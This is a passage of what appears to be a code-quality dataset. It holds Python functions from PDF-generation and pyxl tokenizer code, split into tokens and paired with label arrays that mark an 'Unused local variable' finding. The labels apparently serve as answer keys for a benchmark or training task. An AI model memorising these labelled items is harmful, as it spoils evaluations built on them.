"type", ":", " ", "square", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "ol", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "list", "-", "style", "-", "type", ":", " ", "decima", "l", ";", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", "-", "left", ":", " ", "1.5", "em", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "pre", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "white", "-", "space", ":", " ", "pre", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "block", "quote", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", "-", "left", ":", " ", "1.5", "em", ";", "\\", "10", ";", " ", " ", " ", " ", "marg", "in", "-", "right", ":", " ", "1.5", "em", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "nos", "cript", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "display", ":", " ", "none", ";", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "no", " ", "xh", "tml", "2p", "df_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "Raw_", "(_", "data_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Pars", "e", " ", "and", " ", "process", " ", "a", " ", "simple", " ", "DSL", " ", "to", " ", "handle", " ", "creati", "on", " ", "of", " ", "flow", "able", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Supp", "orte", "d", " ", "(", "can", " ", "add", " ", "other", "s", " ", "on", " ", "request", "):", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "Page", "Break", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", " ", "Spac", "er", " ", "widt", "h", ",", " ", "height", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "elements_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "data_", "._", "splitlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lexer_", "=_", "shlex_", "._", "shlex_", "(_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lexer_", "._", "whitespace_", "+=_", "','_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "list_", "(_", "lexer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "tokens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "#", " ", "Emp", "ty", " ", "line_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "command_", "=_", "tokens_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "command_", "==_", "'", "Page", "Break", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "tokens_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", "tokens_", "[_", "1_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Even", "Page", "Break", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "tokens_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", "break", "To_", "=_", "'", "even", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", "tokens_", "[_", "1_", "]_", ",_", "break", "To_", "=_", "'", "even", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Od", "d", "Page", "Break", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "tokens_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", "break", "To_", "=_", "'", "odd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Page", "Break", "_", "(_", "tokens_", "[_", "1_", "]_", ",_", "break", "To_", "=_", "'", "odd", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Frame", "Break", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "tokens_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "Cond", "Page", "Break", "_", "(_", "99999_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "Cond", "Page", "Break", "_", "(_", "float_", "(_", "tokens_", "[_", "1_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Spac", "er", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "My", "Spacer_", "(_", "adjust", "Units_", "(_", "tokens_", "[_", "1_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "adjust", "Units_", "(_", "tokens_", "[_", "2_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Transiti", "on", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "Transition_", "(_", "*_", "tokens_", "[_", "1_", ":_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "command_", "==_", "'", "Set", "Page", "Counter", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "._", "append_", "(_", "flow", "ables_", "._", "Page", "Counter_", "(_", "*_", "tokens_", "[_", "1_", ":_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "error_", "(_", "'", "Un", "know", "n", " ", "command", " ", "%", "s", " ", "in", " ", "raw", " ", "pdf", " ", "directive", " ", "[", "%", "s", "]'_", "%_", "(_", "command_", ",_", "nodeid_", "(_", "node_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "elements_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "memoized", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "Color", "2_", "(_", "value_", ",_", "default_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Convert", " ", "to", " ", "color", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "return", "s", " ", "a", " ", "Color", " ", "object", " ", "instance", " ", "from", " ", "a", " ", "text", " ", "bit", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "isinstance_", "(_", "value_", ",_", "Color_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "value_", "=_", "str_", "(_", "value_", ")_", "._", "strip_", "(_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "==_", "\"", "transp", "arent", "\"_", "or_", "value_", "==_", "\"", "none", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "default_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "in_", "COLOR", "\\u", "BY", "\\u", "NAME_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "COLOR", "\\u", "BY", "\\u", "NAME_", "[_", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "._", "startswith_", "(_", "\"#\"_", ")_", "and_", "len_", "(_", "value_", ")_", "==_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "\"#\"_", "+_", "value_", "[_", "1_", "]_", "+_", "value_", "[_", "1_", "]_", "+_", "value_", "[_", "2_", "]_", "+_", "value_", "[_", "2_", "]_", "+_", "value_", "[_", "3_", "]_", "+_", "value_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "rgb", "\\u", "re_", "._", "search_", "(_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "e", ".", "g", ".,", " ", "value", " ", "=", " ", "\"<", "css", " ", "function", ":", " ", "rgb", "(", "153", ",", " ", "5", "1", ",", " ", "153", ")>", "\",", " ", "go", " ", "figure", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", ",_", "g_", ",_", "b_", "=_", "[_", "int_", "(_", "x_", ")_", "for_", "x_", "in_", "rgb", "\\u", "re_", "._", "search_", "(_", "value_", ")_", "._", "groups_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "value_", "=_", "\"#", "%", "02", "x", "%", "02", "x", "%", "02", "x", "\"_", "%_", "(_", "r_", ",_", "g_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sh", "ru", "g_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "to", "Color_", "(_", "value_", ",_", "default_", ")_", "#", " ", "Call", "ing", " ", "the", " ", "report", "lab", " ", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "pis", "a", "Pre", "Loop", "2_", "(_", "node_", ",_", "context_", ",_", "collect_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Collect", " ", "all", " ", "CS", "S", " ", "definit", "ion", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "u", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "node_", "._", "node", "Type_", "==_", "Node_", "._", "TEXT", "\\u", "NODE_", "and_", "collect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "node_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "node_", "._", "node", "Type_", "==_", "Node_", "._", "ELEMENT", "\\u", "NODE_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "node_", "._", "tag", "Name_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "name", ",", " ", "node", ".", "attribute", "s", ".", "items", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "name_", "in_", "(_", "\"", "style", "\"_", ",_", "\"", "link", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr_", "=_", "pis", "a", "Get", "Attributes_", "(_", "context_", ",_", "name_", ",_", "node_", "._", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", " ", "\"_", ",_", "attr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "media_", "=_", "[_", "x_", "._", "strip_", "(_", ")_", "for_", "x_", "in_", "attr_", "._", "media_", "._", "lower_", "(_", ")_", "._", "split_", "(_", "\",\"_", ")_", "if_", "x_", "._", "strip_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "repr", "(", "media", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "(_", "attr_", "._", "get_", "(_", "\"", "type", "\"_", ",_", "\"\"_", ")_", "._", "lower_", "(_", ")_", "in_", "(_", "\"\"_", ",_", "\"", "text", "/", "css", "\"_", ")_", "and_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "not_", "media_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "all", "\"_", "in_", "media_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "print", "\"_", "in_", "media_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "pdf", "\"_", "in_", "media_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "name_", "==_", "\"", "style", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "node_", "in_", "node_", "._", "child", "Nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "data_", "+=_", "pis", "a", "Pre", "Loop", "2_", "(_", "node_", ",_", "context_", ",_", "collect_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "context", ".", "add", "CS", "S", "(", "data", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "u", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "collect", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "name_", "==_", "\"", "link", "\"_", "and_", "attr_", "._", "href_", "and_", "attr_", "._", "rel_", "._", "lower_", "(_", ")_", "==_", "\"", "stylesheet", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "\"", "CS", "S", " ", "LINK", "\",", " ", "attr_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "context_", "._", "add", "CS", "S_", "(_", "'\\\\", "n", "@", "import", " ", "\"%", "s", "\"", " ", "%", "s", ";'_", "%_", "(_", "attr_", "._", "href_", ",_", "\",\"_", "._", "join_", "(_", "media_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "context", ".", "add", "CS", "S", "(", "unicode", "(", "file", "(", "attr", ".", "href", ",", " ", "\"", "rb", "\")", ".", "read", "()", ",", " ", "attr", ".", "charset", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "print", " ", "node", ".", "node", "Type_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "node_", "in_", "node_", "._", "child", "Nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "pis", "a", "Pre", "Loop", "2_", "(_", "node_", ",_", "context_", ",_", "collect_", "=_", "collect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "collect_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "+=_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "parse", "HTML_", "(_", "data_", ",_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dest_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "\\u", "callback_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "debug_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "default", "\\u", "css_", "=_", "HTM", "L", "\\u", "CS", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xh", "tml_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "encoding_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xml", "\\u", "output_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise", "\\u", "exception_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "capacity_", "=_", "100_", "*_", "1024_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Prepare", " ", "simple", " ", "context_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "pis", "a", "Context_", "(_", "path_", ",_", "debug_", "=_", "debug_", ",_", "capacity_", "=_", "capacity_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "._", "path", "Callback_", "=_", "link", "\\u", "callback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "story_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "pis", "a", "Stor", "y_", "(_", "data_", ",_", "path_", ",_", "link", "\\u", "callback_", ",_", "debug_", ",_", "default", "\\u", "css_", ",_", "xh", "tml_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "encoding_", ",_", "context_", "=_", "context_", ",_", "xml", "\\u", "output_", "=_", "xml", "\\u", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "context_", "._", "story_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "parse", "HTML_", "(_", "data_", ",_", "none_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "error_", "(_", "\"", "You", " ", "need", " ", "xh", "tml", "2p", "df", " ", "install", "ed", " ", "to", " ", "use", " ", "the", " ", "raw", " ", "HTM", "L", " ", "directive", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
dropbox/pyxl/pyxl/codec/tokenizer.py
[ { "content": " def rewind_and_retokenize(self, rewind_token):\n \"\"\"Rewind the given token (which is expected to be the last token read from this stream, or\n the end of such token); then restart tokenization.\"\"\"\n ttype, tvalue, (row, col), tend, tline = rewind_token\n tokens = [rewind_token] + self._flush()\n self.zero_row, self.zero_col = (row - 1, col) # rows are 1-indexed, cols are 0-indexed\n self.rewound_buffer = StringIO(Untokenizer().untokenize(tokens))\n self.unshift_buffer = []\n self._tokens = tokenize.generate_tokens(self._readline)", "metadata": "root.RewindableTokenStream.rewind_and_retokenize", "header": "['class', 'RewindableTokenStream', '(', 'object', ')', ':', '___EOS___']", "index": 70 } ]
[ { "span": "ttype,", "start_line": 73, "start_column": 8, "end_line": 73, "end_column": 13 }, { "span": "tvalue,", "start_line": 73, "start_column": 15, "end_line": 73, "end_column": 21 }, { "span": "tend,", "start_line": 73, "start_column": 35, "end_line": 73, "end_column": 39 }, { "span": "tline ", "start_line": 73, "start_column": 41, "end_line": 73, "end_column": 46 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Re", "wind", "able", "Token", "Stream_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rewi", "nd", "\\u", "and", "\\u", "ret", "oken", "ize_", "(_", "self_", ",_", "rewi", "nd", "\\u", "token_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Re", "wind", " ", "the", " ", "give", "n", " ", "token", " ", "(", "whi", "ch", " ", "is", " ", "expected", " ", "to", " ", "be", " ", "the", " ", "last", " ", "token", " ", "read", " ", "from", " ", "this", " ", "stream", ",", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "end", " ", "of", " ", "suc", "h", " ", "token", ");", " ", "then", " ", "restart", " ", "tokeni", "zatio", "n", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ttype_", ",_", "tval", "ue_", ",_", "(_", "row_", ",_", "col_", ")_", ",_", "tend", "_", ",_", "tli", "ne_", "=_", "rewi", "nd", "\\u", "token_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "[_", "rewi", "nd", "\\u", "token_", "]_", "+_", "self_", "._", "\\u", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "zero", "\\u", "row_", ",_", "self_", "._", "zero", "\\u", "col_", "=_", "(_", "row_", "-_", "1_", ",_", "col_", ")_", "#", " ", "rows", " ", "are", " ", "1", "-", "indexe", "d", ",", " ", "cols", " ", "are", " ", "0", "-", "indexed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "rew", "ound", "\\u", "buffer_", "=_", "String", "IO_", "(_", "Unt", "oken", "izer_", "(_", ")_", "._", "unto", "ken", "ize_", "(_", "tokens_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "unsh", "ift", "\\u", "buffer_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "tokens_", "=_", "tokenize_", "._", "generat", "e\\u", "tokens_", "(_", "self_", "._", "\\u", "readline_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 